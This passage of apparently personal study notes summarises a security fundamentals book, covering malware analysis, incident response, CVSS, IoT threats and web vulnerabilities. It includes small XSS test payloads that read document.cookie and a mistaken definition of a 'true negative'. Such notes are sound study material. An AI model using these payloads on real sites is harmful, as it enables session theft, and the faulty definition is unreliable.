Copy the malware over to the guest operating system and prepare for analysis. Although some malware can not execute due to the OUI matching a VM vendor or if the malware cannot reach the Internet. You could spoof the MAC address or use FakeNet. To detect malware on the infected machine, you can check the: - Running processes - Device drivers - Windows services - Startup programs - Operating system files A sandbox is a standalone environment that allows you to safely view or execute a program while keeping it contained. Websites such as the Cisco Talos File Reputation Lookup site () and VirusTotal () allow you to upload files to verify if they may be known malware. Many techniques can be used to make disassembly challenging: - Encryption - Obfuscation - Encoding - Anti-VM - Anti-debugger [^1]: Know me well. [^2]: Know me well. --- # Digital Forensics and Incident Response Source: docs/networking/cisco/core-security/fundamentals-from-the-book/forensics.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/forensics/ - Many, many more diverse cybersecurity-related incidences have come about nowadays. - Disruptive & Damaging, can take down a whole company. - Must respond quickly to minimise harm & uphold laws. ## ISO/IEC 27002:2013 and NIST Incident Response Guidance A consistent and effective approach to the management of information security incidents, including communication on security events and weaknesses: - SP 800-61 Revision 2: “Computer Security Incident Handling Guide” - SP 800-83: “Guide to Malware Incident Prevention and Handling” - SP 800-86: “Guide to Integrating Forensic Techniques into Incident Response” Incidences: - Drain resources. - Are expensive. - Disrupt business from businesses. - Must be identified before vulnerabilities are exploited. - Must be avoided by improving security posture. - Must be avoided via assessment of risk, threat, threat sources, and vulnerabilities. Risk: - Can be mitigated or avoided. - Occurs when people are involved (which is always). - Cannot be avoided by things out of company's control - Cannot be avoided by people with malicious intent. - Can be reduced if we prepare. Incident preparedness: - Involves having policies, strategies, plans & procedures. - Involves companies writing guidelines & documentation, training staff, & "fire" drills. - Is being ready to act quickly and make swift decisions. Incident response: - Is critical. - Can be complex. - Involves planning & resources. - An incident handling guide by NIST: [view here](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/core-security/fundamentals-from-the-book/_docs/NIST.SP.800-61r2.pdf) / [view online](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf) Incident response benefits: - Calm and systematic response - Minimization of loss or damage - Protection of affected parties - Compliance with laws and regulations - Preservation of evidence - Integration of lessons learned - Lower future risk and exposure ## Incident Definition A cybersecurity incident is an adverse event that threatens business security and/or disrupts service (loss of CIA). It is not a disaster, which is widespread damage/destruction, loss of life, or drastic change to envirmonment. Incident examples: - Exposure or modification of legally protected data - Unauthorized access to intellectual property - Disruption of internal/external services. - Attacker sends a crafted packet to a router and causes a denial-of-service condition. - Attacker compromises a point-of-sale (POS) system and steals credit card information. - Attacker compromises a hospital database and steals thousands of health records. - Ransomware is installed in a critical server and all files are encrypted by the attacker. Incident management: - Create organisation-specific definition of *incident*. - Create a mandatory response process. - 3rd partys, vendors & business partners, etc. must be contractually obligated to notify organisation when incident occurs. Events vs Incidents: - From NIST Special Publication 800-61: “An event is any observable occurrence in a system or network. Events include a user connecting to a file share, a server receiving a request for a web page, a user sending email, and a firewall blocking a connection attempt. Adverse events are events with a negative consequence, such as system crashes, packet floods, unauthorized use of system privileges, unauthorized access to sensitive data, and execution of malware that destroys data.” - “a computer security incident is a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices.” ## False Positives, False Negatives, True Positives, and True Negatives - A *false positive* is a situation when security device triggers an alarm, but there is no malicious activity or attack. "Crying wolf" - A *false negative* is when a device is unable to detect true security events / malicious activity isn't detected by the device. - A *true positive* is a successful identification of malicious activity. - A *true negative* is when a device allows the malicious activity. Evasion techniques against traditional IDS and IPS devices: - Fragmentation: When the attacker evades the IPS box by sending fragmented packets. - Using low-bandwidth attacks: When the attacker uses techniques that use low bandwidth or a very small number of packets in order to evade the system. - Address spoofing/proxying: Using spoofed IP addresses or sources, as well as using intermediary systems such as proxies to evade inspection. - Pattern change evasion: Attackers may use polymorphic techniques to create unique attack patterns. - Encryption: Attackers can use encryption to hide their communication and information. ## Incident Severity Levels Levels are based upon: - operational, reputational, and legal impact to the organisation. ## Incident Reporting - Implement simple mechanisms that all employees can use. - Employees to report all real & suspected incidents, but not security level. - People are afraid of being wrong or looking foolish or don't care. Management must encourage. - People who report incidents (even if false positive) must be praised instead of ridiculed. Evidence: - Digital forensic evidence is any information in digital form that can be processed by computing device or stored on other media. This evidence is classified as witness testimony/direct evidence or indirect, such as document, etc. - Cybersecurity forensic evidence can be contaminated and so the targeted machine can be imaged (physical copy of data, bit for bit) to preserve exploit state. Avoid Electrostatic Discharge (ESD) from damaging evidence. Chain of custody: - How evidence is collected - When it was collected - How it was transported - How it was tracked - How it was stored - Who had access to the evidence and how it was accessed ## Incident Response Program An IRP contains policies, plans, procedures, and people, which provide well-defined and organised approach for handling incidents and taking action when incidents are traced back to company. ## Incident Response Plan NIST Special Publication 800-61 Revision 2 include the following: - Statement of management commitment - Purpose and objectives of the incident response policy - The scope of the incident response policy - Definition of computer security incidents and related terms - Organisational structure and definition of roles, responsibilities, and levels of authority - Prioritisation or severity ratings of incidents - Performance measures - Reporting and contact forms NIST’s incident response plan elements include the following: - Incident response plan’s mission - Strategies and goals of the incident response plan - Senior management approval of the incident response plan - Organisational approach to incident response - How the incident response team will communicate with the rest of the organisation and with other organisations - Metrics for measuring the incident response capability and its effectiveness - Roadmap for maturing the incident response capability - How the program fits into the overall organisation NIST also defines standard operating procedures (SOPs) as “a delineation of the specific technical processes, techniques, checklists, and forms used by the incident response team. SOPs should be reasonably comprehensive and detailed to ensure that the priorities of the organization are reflected in response operations.” ## Incident Response Process Phases of Incident Response Process: ![security fundamentals forensics](_images/security-fundamentals-forensics-1.png) ### Preparation - Creating processes for incident handler communications and the facilities that will host the security operation centre (SOC) and incident response team - Making sure that the organisation has appropriate incident analysis hardware and software as well as incident mitigation software - Creating risk assessment capabilities within the organisation - Making sure the organisation has appropriately deployed host security, network security, and malware prevention solutions - Developing user awareness training ### Detection & Analysis - Profile networks and systems. - Understand normal behaviours. - Create a log retention policy. - Perform event correlation. - Maintain and use a knowledge base of information. - Use Internet search engines for research. - Run packet sniffers to collect additional data. - Filter the data. - Seek assistance from others. - Keep all host clocks synchronised. - Know the different types of attacks and attack vectors. - Develop processes and procedures to recognise the signs of an incident. - Understand the sources of precursors and indicators. - Create appropriate incident documentation capabilities and processes. - Create processes to effectively prioritise security incidents. - Create processes to effectively communicate incident information (internal and external communications). ### Containment, Eradication, & Recovery - Evidence gathering and handling - Identifying the attacking hosts - Choosing a containment strategy to effectively contain and eradicate the attack, as well as to successfully recover from it - The potential damage to and theft of resources - The need for evidence preservation - Service availability (for example, network connectivity as well as services provided to external parties) - Time and resources needed to implement the strategy - Effectiveness of the strategy (for example, partial containment or full containment) - Duration of the solution (for example, emergency workaround to be removed in four hours, temporary workaround to be removed in two weeks, or permanent solution) ### Postmortem - Exactly what happened, and at what times? - How well did the staff and management perform while dealing with the incident? - Were the documented procedures followed? - Were they adequate? - What information was needed sooner? - Were any steps or actions taken that might have inhibited the recovery? - What would the staff and management do differently the next time a similar incident occurs? - How could information sharing with other organisations be improved? - What corrective actions can prevent similar incidents in the future? - What precursors or indicators should be watched for in the future to detect similar incidents? - What additional tools or resources are needed to detect, analyse, and mitigate future incidents? ## Simulations and Playbooks Good for gap analysis of response processes & procedures, create playbooks, which contains: - Report identification - Objective statement - Result analysis - Data query/code - Analyst comments/notes Methodology of Playbooks: 1. Preparation: Identify the audience, what you want to simulate, and how the exercise will take place. 2. Execution: Execute the simulation and record all findings to identify all areas for improvement in your program. 3. Report: Create a report and distribute it to all the respective stakeholders. Narrow your assessment to specific facets of incident response. You can compare the results with the existing incident response plans. You should also measure the coordination among different teams within the organization and/or external to the organization. Provide a good technical analysis and identify gaps. ## Information Sharing and Coordination Communicate with outside parties regarding incidents: - law enforcement - media inquiries - external expertise - ISPs - vendor of hardware & software - incident response teams - industry pears Incident response plan interaction types: - PR department, legal department, upper management - avoid leaking sensitive info about incident to unauthorised parties (additional financial loss) - list contacts & communications of & with external entities for evidence sake ## Computer Security Incident Response Teams - Computer Security Incident Response Team (CSIRT) (/infosec) - Product security incident response team (PSIRT) - National CSIRT and computer emergency response team (CERT) - Coordination center The incident response team of a security vendor - managed security service provider (MSSP) Creating a CSIRT: . 1. Defining the CSIRT constituency > - Who will be the “customer” of the CSIRT? > - What is the scope? Will the CSIRT cover only the organization or also entities external to the organization? For example, at Cisco, all internal infrastructure and Cisco’s websites and tools (that is, cisco.com) are the responsibility of the Cisco CSIRT, and any incident or vulnerability concerning a Cisco product or service is the responsibility of the Cisco PSIRT. > - Will the CSIRT provide support for the complete organization or only for a specific area or segment? For example, an organization may have a CSIRT for traditional infrastructure and IT capabilities and a separate one dedicated to cloud security. > - Will the CSIRT be responsible for part of the organization or all of it? If external entities will be included, how will they be selected? 2. Ensuring management and executive support 3. Making sure that the proper budget is allocated 4. Deciding where the CSIRT will reside within the organization’s hierarchy 5. Determining whether the team will be central, distributed, or virtual 6. Developing the process and policies for the CSIRT > - Incident classification and handling > - Information classification and protection > - Information dissemination > - Record retention and destruction > - Acceptable usage of encryption > - Engaging and cooperating with external groups (other IRTs, law enforcement, and so on) > - Hiring policy > - Using an outsourcing organization to handle incidents > - Working across multiple legal jurisdictions Resources for creating a CSIRT: - ISO/IEC 27001:2005: “Information Technology—Security Techniques—Information Security Management Systems—Requirements” - ISO/IEC 27002:2005: Information Technology—Security Techniques—Code of Practice for Information Security Management” - ISO/IEC 27005:2008: “Information Technology—Security techniques—Information Security Risk Management” - ISO/PAS 22399:2007: “Societal Security—Guidelines for Incident Preparedness and Operational Continuity Management” - ISO/IEC 27033: Information Technology—Security Techniques—Information Security Incident Management ## Product Security Incident Response Teams (PSIRTs) . ## The Common Vulnerability Scoring System (CVSS) - Base, temporal, and environment scores (scoring from 0 \[least severe\] to 10 \[highly critical\]). - Maintained by Forum of Incident Response & Security Teams (FIRST) (.) (). Vulnerabilities are evaluated by: - The base group represents the intrinsic characteristics of a vulnerability that are constant over time and do not depend on a user-specific environment. This is the most important information and the only one that’s mandatory to obtain a vulnerability score. - The temporal group assesses the vulnerability as it changes over time. - The environmental group represents the characteristics of a vulnerability, taking into account the organizational environment. Takeaway points: - Exploits cannot exist without vulnerabilities, but there are not always exploits with vulnerabilities (theoretical vulnerabilities). - Never deprioritise vulnerabilities because they have not been exploited yet. - You cannot patch all vulnerabilities. Secure Development Lifecycles (SDL) are vital. ### Secure Development Lifecycles SDLs are “a repeatable and measurable process we’ve designed to increase the resiliency and trustworthiness of our products.” SDLs are the tools & processes designed to accelerate product development methodologies (secure, resilient, & trustworthy systems).: - Base product security requirements - Third-party software (TPS) security - Secure design - Secure coding - Secure analysis - Vulnerability testing ### Exploitability Metrics Attack Vector (AV) \[level of access an attacker needs\]: - Network (N) - Adjacent (A) - Local (L) - Physical (P) Attack Complexity (AC) \[conditions beyond the attacker’s control\]: - Low (L) - High (H) Privileges Required (PR) \[level of privileges an attacker must have\]: - None (N) - Low (L) - High (H) User Interaction (UI) \[whether UI is needed\] - None (N) - Required (R) Scope (S) \[impact on systems\]: - Unchanged (U) - Changed (C) ### Impact Metrics Confidentiality (C) \[impact to confidentiality\]: - Low (L) - Medium (M) - High (H) Integrity (I) \[impact to integrity\]: - Low (L) - Medium (M) - High (H) Availability (A) \[impact to availability\]: - Low (L) - Medium (M) - High (H) ### Temporal Group Metrics - Exploit Code Maturity (E), which measures whether or not public exploit is available - Remediation Level (RL), which indicates whether a fix or workaround is available - Report Confidence (RC), which indicates the degree of confidence in the existence of the vulnerability ### Environmental Group Metrics - Security Requirements (CR, IR, AR), which indicate the importance of confidentiality, integrity, and availability requirements for the system - Modified Base Metrics (MAV, MAC, MAPR, MUI, MS, MC, MI, MA), which allow the organization to tweak the base metrics based on specific characteristics of the environment ## National CSIRTs and Computer Emergency Response Teams (CERTs) Examples of teams: - - - - “US-CERT’s critical mission activities include: - Providing cybersecurity protection to Federal civilian executive branch agencies through intrusion detection and prevention capabilities. - Developing timely and actionable information for distribution to federal departments and agencies; state, local, tribal and territorial (SLTT) governments; critical infrastructure owners and operators; private industry; and international organizations. - Responding to incidents and analyzing data about emerging cyber threats. - Collaborating with foreign governments and international entities to enhance the nation’s cybersecurity posture.” ## Coordination Centres : - “CERT Division of the Software Engineering Institute (SEI), we study and solve problems with widespread cybersecurity implications, research security vulnerabilities in software products, contribute to long-term changes in networked systems, and develop cutting-edge information and training to help improve cybersecurity. - “We are more than a research organization. Working with software vendors, we help resolve software vulnerabilities. We develop tools, products, and methods to help organizations conduct forensic examinations, analyze vulnerabilities, and monitor large-scale networks. We help organizations determine how effective their security-related practices are. And we share our work at conferences; in blogs, webinars, and podcasts; and through our many articles, technical reports, and white papers. We collaborate with high-level government organizations, such as the U.S. Department of Defense and the Department of Homeland Security (DHS); law enforcement, including the FBI; the intelligence community; and many industry organizations. - “Working together, DHS and the CERT Division meet mutually set goals in areas such as data collection and mining, statistics and trend analysis, computer and network security, incident management, insider threat, software assurance, and more. The results of this work include exercises, courses, and systems that were designed, implemented, and delivered to DHS and its customers as part of the SEI’s mission to transition SEI capabilities to the public and private sectors and improve the practice of cybersecurity.” ## Key Incident Management Incident Management Personnel: - Incident Response Coordinators (IRC) (verify & log incidents) - Designated incident handlers - Incident response team members - Designated Incident Handeler (DIH) (senior personnel with crisis managemnt & comm skills - incident declaration, liason with execs & managing IRT) IRT tasks: - Overall management of the incident - Triage and impact analysis to determine the extent of the situation - Development and implementation of containment and eradication strategies - Compliance with government and/or other regulations - Communication and follow-up with affected parties and/or individuals - Communication and follow-up with other external parties, including the board of directors, business partners, government regulators (including federal, state, and other administrators), law enforcement, representatives of the media, and so on, as needed - Root cause analysis and lessons learned - Revision of policies/procedures necessary to prevent any recurrence of the incident --- # Fundamentals from the Book Source: docs/networking/cisco/core-security/fundamentals-from-the-book/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/ --- # Introduction to Cybersecurity Source: docs/networking/cisco/core-security/fundamentals-from-the-book/introduction.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/introduction/ ## Cybersecurity vs. Information Security (InfoSec) Information security programs and policies are designed to protect the confidentiality, integrity, and availability of data within an organisation. Organisations are rarely self-contained, and the price of connectivity is exposure to attack. Every organisation is a potential target. Cybersecurity is the process of protecting information by preventing, detecting, and responding to attacks. It builds upon traditional information security programs and includes: - Cyber risk management and oversight - Threat intelligence and information sharing - Third-party organisation, software, and hardware dependancy management - Incident response and resiliency ## The NIST Cybersecurity Framework The National Institute of Standards and Technology (NIST) is a well-known U.S. Department of Commerce. Their goal is to develop & promote measurement, standards, and technology to enhance productivity, facilitate trade, improve quality of life. Their framework is a collection of industry standards and best practices to help organisations manage cybersecurity risks and acts as a blueprint for any organisation. The Computer Security Division (CSD) is one of seven divisions within NIST's IT lab. ## Additional NIST Guidance and Documents There are currently more than 500 NIST InfoSec docs: - **Federal Information Processing Standards (FIPS):** This is the official publication series for standards and guidelines. - **Special Publication (SP) 800 series:** This series reports on ITL research, guidelines, and outreach efforts in information system security and its collaborative activities with industry, government, and academic organisations. SP 800 series documents can be downloaded from . - **NIST Internal or Interagency Reports (NISTIR):** These reports focus on research findings, including background information for FIPS and SPs. - **ITL bulletins:** Each bulletin presents an in-depth discussion of a single topic of significant interest to the information systems community. Bulletins are issued on an as-needed basis. ## The International Organisation of Standards (ISO) ISO is a network of the national standards institutes of more than 160 countries. ISO has developed more than 13,000 international standards on a variety of subjects, ranging from country codes to passenger safety. The ISO/IEC 27000 series (also known as the ISMS Family of Standards, or ISO27k for short) comprises information security standards published jointly by the ISO and the International Electrotechnical Commission (IEC). The first six documents in the ISO/IEC 27000 series provide recommendations for “establishing, implementing, operating, monitoring, reviewing, maintaining, and improving an Information Security Management System”: ISO 27001 is the specification for an Information Security Management System (ISMS). ISO 27002 describes the Code of Practice for information security management. ISO 27003 provides detailed implementation guidance. ISO 27004 outlines how an organisation can monitor and measure security using metrics. ISO 27005 defines the high-level risk management approach recommended by ISO. ISO 27006 outlines the requirements for organisations that will measure ISO 27000 compliance for certification. - ISO 27001 is the specification for an Information Security Management System (ISMS). - ISO 27002 describes the Code of Practice for information security management. - ISO 27003 provides detailed implementation guidance. - ISO 27004 outlines how an organisation can monitor and measure security metrics. - ISO 27005 defines the high-level risk management approach recommended by ISO. - ISO 27006 outlines the requirements for organisations that will measure ISO 27000 compliance for certification. There are 20 docs in the series and more in development. The framework is for all organisations. According to the ISO website, “the ISO standard gives recommendations for information security management for use by those who are responsible for initiating, implementing or maintaining security in their organization. It is intended to provide a common basis for developing organisational security standards and effective security management practice and to provide confidence in inter-organizational dealings.” --- # IoT Security Threats Source: docs/networking/cisco/core-security/fundamentals-from-the-book/iot.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/iot/ - IoT is any computer device (mechanical & digital) that transfers data in network without requiring human-to-human or human-to-computer interaction. Sensors, home appliances, cameras, wearables, etc. are examples of IoT devices. - Fog computing is the processing of data and events from IoT devices as close to source as possible. Fog-edge device sends required data to cloud. ![security fundamentals iot](_images/security-fundamentals-iot-1.png) ![security fundamentals iot](_images/security-fundamentals-iot-2.png) Architectural components of IoT: - Data collection: Centralized data collection presents a few challenges for an IoT environment to be able to scale. For instance, managing millions of sensors in a smart grid network cannot efficiently be done using a centralized approach. - Network resource preservation: This is particularly important because network bandwidth may be limited, and centralized IoT device data collection leads to using a large amount of the network capabilities. - Closed-loop functioning: IoT environments often require reduced reaction times. Security Challenges & Considerations: - Numerous IoT devices are inexpensive devices with little to no security capabilities. - IoT devices are typically constrained in memory and compute resources and do not support complex and evolving security and encryption algorithms. - Several IoT devices are deployed with no backup connectivity if the primary connection is lost. - Numerous IoT devices require secure remote management during and after deployment (onboarding). - IoT devices often require the management of multiparty networks. Governance of these networks is often a challenging task. For example, who will accept liability for a breach? Who is in charge of incident response? Who has provisioning access? Who has access to the data? - Crypto resilience is a challenge in many IoT environments. These embedded devices (such as smart meters) are designed to last decades without being replaced. - Physical protection is another challenge, because any IoT device could be stolen, moved, or tampered with. - Administrations should pay attention to how the IoT device authenticates to multiple networks securely. - IoT technologies like INSTEON, Zigbee, Z-Wave, LoRaWAN, and others were not designed with security in mind (however, they have improved significantly over the past few years). ## IoT Protocols - Zigbee: One of the most popular protocols supported by many consumer IoT devices. Zigbee takes advantage of the underlying security services provided by the IEEE 802.15.4 MAC layer. The 802.15.4 MAC layer supports the AES algorithm with a 128-bit key for both encryption and decryption. Additional information about Zigbee can be obtained from the Zigbee Alliance at . - Bluetooth Low Energy (BLE) and Bluetooth Smart: BLE is an evolution of the Bluetooth protocol that is designed for enhanced battery life for IoT devices. Bluetooth Smart–enabled devices default to “sleep mode” and “wake up” only when needed. Both operate in the 2.4 GHz frequency range. Bluetooth Smart implements high-rate frequency-hopping spread spectrum and supports AES encryption. Additional information about BLE and Bluetooth Smart can be found at . - Z-Wave: Another popular IoT communication protocol. It supports unicast, multicast, and broadcast communication. Z-Wave networks consist of controllers and slaves. Some Z-Wave devices can be both primary and secondary controllers. Primary controllers are allowed to add and remove nodes form the network. Z-Wave devices operate at a frequency of 908.42 MHz (North America) and 868.42 MHz (Europe) with data rates of 100Kbps over a range of about 30 meters. Additional information about Z-Wave can be obtained from the Z-Wave Alliance at . - INSTEON: A protocol that allows IoT devices to communicate wirelessly and over the power lines. It provides support for dual-band, mesh, and peer-to-peer communication. Additional information about INSTEON can be found at . - Long Range Wide Area Network (LoRaWAN): A networking protocol designed specifically for IoT implementations. LoRaWAN has three classes of endpoint devices: Class A (lowest power, bidirectional end devices), Class B (bidirectional end devices with deterministic downlink latency), and Class C (lowest latency, bidirectional end devices). Additional information about LoRaWAN can be found at the Lora Alliance at . - Wi-Fi: Still one of the most popular communication methods for IoT devices. - Low Rate Wireless Personal Area Networks (LRWPAN) and IPv6 over Low Power Wireless Personal Area Networks (6LoWPAN): IPv4 and IPv6 both play a role at various points within many IoT systems. IPv6 over Low Power Wireless Personal Area Networks (6LoWPAN) supports the use of IPv6 in the network-constrained IoT implementations. 6LoWPan was designed to support wireless Internet connectivity at lower data rates. 6LoWPAN builds upon the 802.15.4 Low Rate Wireless Personal Area Networks (LRWPAN) specification to create an adaptation layer that supports the use of IPv6. - Cellular Communication: Also a popular communication method for IoT devices, including connected cars, retail machines, sensors, and others. 4G and 5G are used to connect many IoT devices nowadays. IoT Messaging Protocols: - MQTT - Constrained Application Protocol (CoAP) - Data Distribution Protocol (DDP) - Advanced Message Queuing Protocol (AMQP) - Extensible Messaging and Presence Protocol (XMPP) ## Hacking IoT Implementations Hacking Methods: - Hardware tools: - Multimeters - Oscilloscopes - Soldering tools - UART debuggers and tools - Universal interface tools like JTAG, SWD, I2C, and SPI tools - Logic analyzers - Reverse engineering tools, such as disassemblers and debuggers: - IDA - Binary Ninja - Radare2 - Ghidra - Hopper - Wireless communication interfaces and tools: - Ubertooth One (for Bluetooth hacking) - Software-defined radio (SDR), such as HackRF and BladeRF, to perform assessments of Z-Wave and Zigbee implementations --- # Common Software and Hardware Vulnerabilities Source: docs/networking/cisco/core-security/fundamentals-from-the-book/vulnerabilities.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/vulnerabilities/ Check the National Vulnerability Database . ## Injection Vulnerabilities - SQL injection vulnerabilities - HTML injection vulnerability - Command injection vulnerabilities Code injection vulnerabilities are exploited by forcing an application or a system to process invalid data. An attacker takes advantage of this type of vulnerability to inject code into a vulnerable system and change the course of execution. Successful exploitation can lead to the disclosure of sensitive information, manipulation of data, denial-of-service conditions, etc. Examples: - SQL injection - HTML script injection - Dynamic code evaluation - Object injection - Remote file inclusion - Uncontrolled format string - Shell injection ## SQL Injection Allow an attacker to view, insert, delete, or modify records in a database. In an SQL injection attack, the attacker inserts, or injects, partial or complete SQL queries via the web application. The attacker injects SQL commands into input fields in an application or a URL in order to execute predefined SQL commands. If an application does not sanitise user input, an attacker can supply crafted input in an attempt to make the original SQL statement execute further actions in the database. The attacker must craft a syntactically correct SQL statement or query. The attacker takes advantage of error messages and can reconstruct the logic of the original query to understand how to attack correctly. The attacker might need to reverse engineer the logic of the original query if the application hides the error details. WebGoat being used to demonstrate effects of SQLi: .. image:: \_images/security-fundamentals-sql-injection-1.png SQLi is divided into the following categories: - In-band SQL injection: With this type of injection, the attacker obtains the data by using the same channel that is used to inject the SQL code. This is the most basic form of an SQL injection attack, where the data is dumped directly in a web application (or web page). - Out-of-band SQL injection: With this type of injection, the attacker retrieves data using a different channel. For example, an email, a text, or an instant message could be sent to the attacker with the results of the query. Alternatively, the attacker might be able to send the compromised data to another system. - Blind (or inferential) SQL injection: With this type of injection, the attacker does not make the application display or transfer any data; rather, the attacker is able to reconstruct the information by sending specific statements and discerning the behaviour of the application and database. ## HTML Injection An HTML injection is a vulnerability that occurs when an unauthorised user is able to control an input point and able to inject arbitrary HTML code into a web application. Successful exploitation could lead to disclosure of a user’s session cookies; an attacker might do this to impersonate a victim or to modify the web page or application content seen by the victims. HTML injection vulnerabilities can lead to cross-site scripting (XSS). ## Command Injection A command injection is an attack in which an attacker tries to execute commands that he or she is not supposed to be able to execute on a system via a vulnerable application. Command injection attacks are possible when an application does not validate data supplied by the user (for example, data entered in web forms, cookies, HTTP headers, and other elements). The vulnerable system passes that data into a system shell. With command injection, an attacker tries to send operating system commands so that the application can execute them with the privileges of the vulnerable application. Command injection is not the same as code execution and code injection, which involve exploiting a buffer overflow or similar vulnerability. ## Authentication-based Vulnerabilities Common ways authentication-based vulnerabilities are taken advantage of: - Credential brute forcing - Session hijacking - Redirecting - Exploit default credentials - Exploit weak credentials - Exploiting Kerberos vulnerabilities ### Credential Brute Force Attacks and Password Cracking The attacker attempts to log in to an application or a system by trying different usernames and passwords. The 2 major categories: - Online brute-force attacks: In this type of attack, the attacker actively tries to log in to the application directly by using many different combinations of credentials. Online brute-force attacks are easy to detect because you can easily inspect for large numbers of attempts by an attacker. - Offline brute-force attacks: In this type of attack, the attacker can gain access to encrypted data or hashed passwords. These attacks are more difficult to prevent and detect than online attacks. However, offline attacks require significantly more computation effort and resources from the attacker. Examples of exploitation: - Password strength: The strength of user and application credentials has a direct effect on the success of brute-force attacks. Weak credentials are one of the major causes of credential compromise. Use complex passwords and multi-factor authentication (MFA). The use of MFA significantly reduces the probability of success for these types of attacks. An attacker may feed to an attacking system a word list containing thousands of words in order to crack passwords or associated credentials. Real-world passwords: . - Cryptographic Algorithms: Weak cryptographic algorithms (such as RC4, MD5, and DES) allow attackers to easily crack passwords. Best page showing which algorithms should be used: . - Rainbow Tables: Attackers can also use statistical analysis and rainbow tables against systems that improperly protect passwords with a one-way hashing function. A rainbow table is a precomputed table for reversing cryptographic hash functions and for cracking password hashes, can be used to accelerate the process of cracking password hashes . - Security Protocols: poorly designed security protocols such as Wired Equivalent Privacy (WEP) introduce avenues of attack to compromise user and application credentials. ### Session Hijacking If web applications do not validate and filter out invalid session ID values, they can potentially be used to exploit other web vulnerabilities, such as SQL injection (if the session IDs are stored on a relational database) or persistent XSS (if the session IDs are stored and reflected back afterward by the web application). - Predicting session tokens: This is why it is important to use non-predictable tokens. - Session sniffing: This can occur through collecting packets of unencrypted web sessions. - Man-in-the-middle attack: With this type of attack, the attacker sits in the path between the client and the web server. - Man-in-the-browser attack: This attack is similar in approach to a man-in-the-middle attack; however, in this case, a browser (or an extension or a plugin) is compromised and used to intercept and manipulate web sessions between the user and the web server. ### Default Credentials Attackers can easily identify and access systems that use shared default passwords. It is extremely important to always change default manufacturer passwords and restrict network access to critical systems. A lot of manufacturers now require users to change the default passwords during initial setup, but some don’t , . ### Insecure Direct Object Reference Vulnerabilities When web applications allow direct access to objects based on user input. Successful exploitation could allow attackers to bypass authorisation and access resources that should be protected by the system (for example, database records and system files). This vulnerability occurs when an application does not sanitise user input and does not perform appropriate authorisation checks. Examples: - `https://store.calebsargeant.com/buy?customerID=12345` - `https://store.calebsargeant.com/changepassword?user=john.doe` ## Cross-site Scripting Attackers can use obfuscation techniques in XSS attacks by encoding tags or malicious portions of the script using Unicode so that the link or HTML content is disguised to the end user browsing site . There are 3 types of Cross-site scripting (XSS) vulnerabilities: - **Reflected (non-persistent) XSS:** when malicious code or scripts are injected by a vulnerable web application using any method that yields a response as part of a valid HTTP request. An example of a reflected XSS attack is a user being persuaded to follow a malicious link to a vulnerable server that injects (reflects) the malicious code back to the user’s browser. This causes the browser to execute the code or script. In this case, the vulnerable server is usually a known or trusted site. - **Stored (persistent) XSS:** when the malicious code or script is permanently stored on a vulnerable or malicious server, using a database. These attacks are typically carried out on websites hosting blog posts (comment forms), web forums, and other permanent storage methods. An example of a stored XSS attack is a user requesting the stored information from the vulnerable or malicious server, which causes the injection of the requested malicious script into the victim’s browser. In this type of attack, the vulnerable server is usually a known or trusted site. - **DOM-based XSS:** The Document Object Model (DOM) is a cross-platform and language-independent application programming interface that treats an HTML, XHTML, or XML document as a tree structure. DOM-based attacks are typically reflected XSS attacks that are triggered by sending a link with inputs that are reflected to the web browser. In DOM-based XSS attacks, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser). In a DOM-based XSS attack, the attacker sends a malicious URL to the victim, and after the victim clicks on the link, it may load a malicious website or a site that has a vulnerable DOM route handler. After the vulnerable site is rendered by the browser, the payload executes the attack in the user’s context on that site. One of the effects of any type of XSS attack is that the victim typically does not realize that an attack has taken place. DOM-based applications use global variables to manage client-side information. Often developers create unsecured applications that put sensitive information in the DOM (for example, tokens, public profile URLs, private URLs for information access, cross-domain OAuth values, and even user credentials as variables). It is a best practice to avoid storing any sensitive information in the DOM when building web applications. Successful exploitation could result in installation or execution of malicious code, account compromise, session cookie hijacking, revelation or modification of local files, or site redirection. The results of XSS attacks are the same regardless of the vector. Even though XSS vulnerabilities are flaws in a web application, the attack typically targets the end user. You typically find XSS vulnerabilities in the following: - Search fields that echo a search string back to the user - HTTP headers Input fields that echo user data - Error messages that return user-supplied text - Hidden fields that may include user input data - Applications (or websites) that display user-supplied data XSS tests from browser's address bar: ``` text javascript:alert("Omar_s_XSS test"); javascript:alert(document.cookie); ``` XSS test from a web form: ``` text ``` ## Cross-site Request Forgery Cross-site request forgery (CSRF or XSRF) attacks occur when unauthorized commands are transmitted from a user who is trusted by the application. CSRF attacks are different from XSS attacks because they exploit the trust that an application has in a user’s browser. CSRF vulnerabilities are also referred to as “one-click attacks” or “session riding.” CSRF attacks typically affect applications (or websites) that rely on a user’s identity. Attackers can trick the user’s browser into sending HTTP requests to a target website. An example of a CSRF attack is a user authenticated by the application by a cookie saved in the browser unwittingly sending an HTTP request to a site that trusts the user, subsequently triggering an unwanted action. ## Cookie Manipulation Attacks Are **stored** DOM-based attacks (or vulnerabilities). Cookie manipulation is possible when vulnerable applications store user input and then embed that input in a response within a part of the DOM. This input is later processed in an unsafe manner by a client-side script. An attacker can use a JavaScript string (or other scripts) to trigger the DOM-based vulnerability. Such scripts can write controllable data into the value of a cookie. An attacker can take advantage of stored DOM-based vulnerabilities to create a URL that sets an arbitrary value in a user’s cookie. The impact of a stored DOM-based vulnerability depends on the role that the cookie plays within the application. ## Race Conditions Occurs when a system or an application attempts to perform two or more operations at the same time. The operations must be done in the proper sequence in order to be done correctly. There's a small window of time between when a security control takes effect and when the attack is performed. Race conditions are very difficult to exploit. Also referred to as time of check to time of use (TOCTOU) attacks, for example, a security management system pushing a configuration to a security device where the process rebuilds access control lists and rules from the system. The attacker might have a very small time window in which they can bypass security controls before they are in effect on the managed device. ## Unprotected APIs Application programming interfaces (APIs) lack the adequate controls and are difficult to monitor. The complexity of APIs make it difficult to automate effective security testing. Technologies behind APIs: - Simple Object Access Protocol (SOAP): This standards-based web services access protocol was originally developed by Microsoft and has been used by numerous legacy applications for many years. SOAP exclusively uses XML to provide API services. XML-based specifications are governed by XML 